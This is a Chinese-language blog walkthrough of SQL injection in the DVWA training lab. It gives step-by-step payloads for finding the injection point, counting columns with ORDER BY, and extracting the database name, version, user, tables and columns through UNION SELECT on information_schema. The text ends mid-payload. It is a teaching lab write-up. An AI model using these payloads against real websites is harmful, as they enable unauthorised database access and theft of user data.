DVWA—sql注入( SQL Injection)
原理
将恶意的sql语句拼接到合法的语句中,从而达到执行sql语句的目的。
类型
数字 字符 搜索
过程
1.判断是否存在注入,注入时字符型还是数字型
输入1,能够正常返回用户名和密码
在1后面加上’,报错,说明此处存在注入点。
接下来,判断字符型还是数字型,判断方法如下:
数字型:
(1)在URL的注入点中输入 and 1=1
,成功返回
输入 and 1=2
,依然成功返回,说明不是数字型,因为返回值没有受到数字的影响
(2)在URL或者表单中输入0 or 1,如果可以查到数据,说明是数字型注入
同样地,依然查不到数据,确定不是数字型
字符型:
1’ and ‘1’='1
如果输入0’or 1#,查到数据说明是字符型注入
2.猜解SQL查询语句中的字段数
1’ order by 1 #
1’ order by 2 #
继续增加,加到3报错,说明这个表只有2列,也就是2个字段,可以看出有2个回显
3.确定显示位置/字段顺序
1’ union select 1,2 #
First name处显示结果位查询结果的第一列的值,surname处显示结果位查询结果第二列的值。
4.获取当前数据库及数据库版本、构造联合查询语句查询当前数据库用户和数据库名
1’ union select database(),version() #
![image-20220606203259443](https://i-blog.csdnimg.cn/blog_migrate/9cb785f52fc98951e2ec5f6a5559f0bc.png)
’ union select user(),database()#
![image-20220606203433321](https://i-blog.csdnimg.cn/blog_migrate/2d1d7146e6354122f1d8592643a72518.png)
5.获取数据库中的表
1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
![image-20220606220541227](https://i-blog.csdnimg.cn/blog_migrate/e47c9cd1250a09e225a9c1dc2bfba674.png)
6.获取表中的字段名
1’ union select 1,group_concat(column_name) from information_schema.columns where table_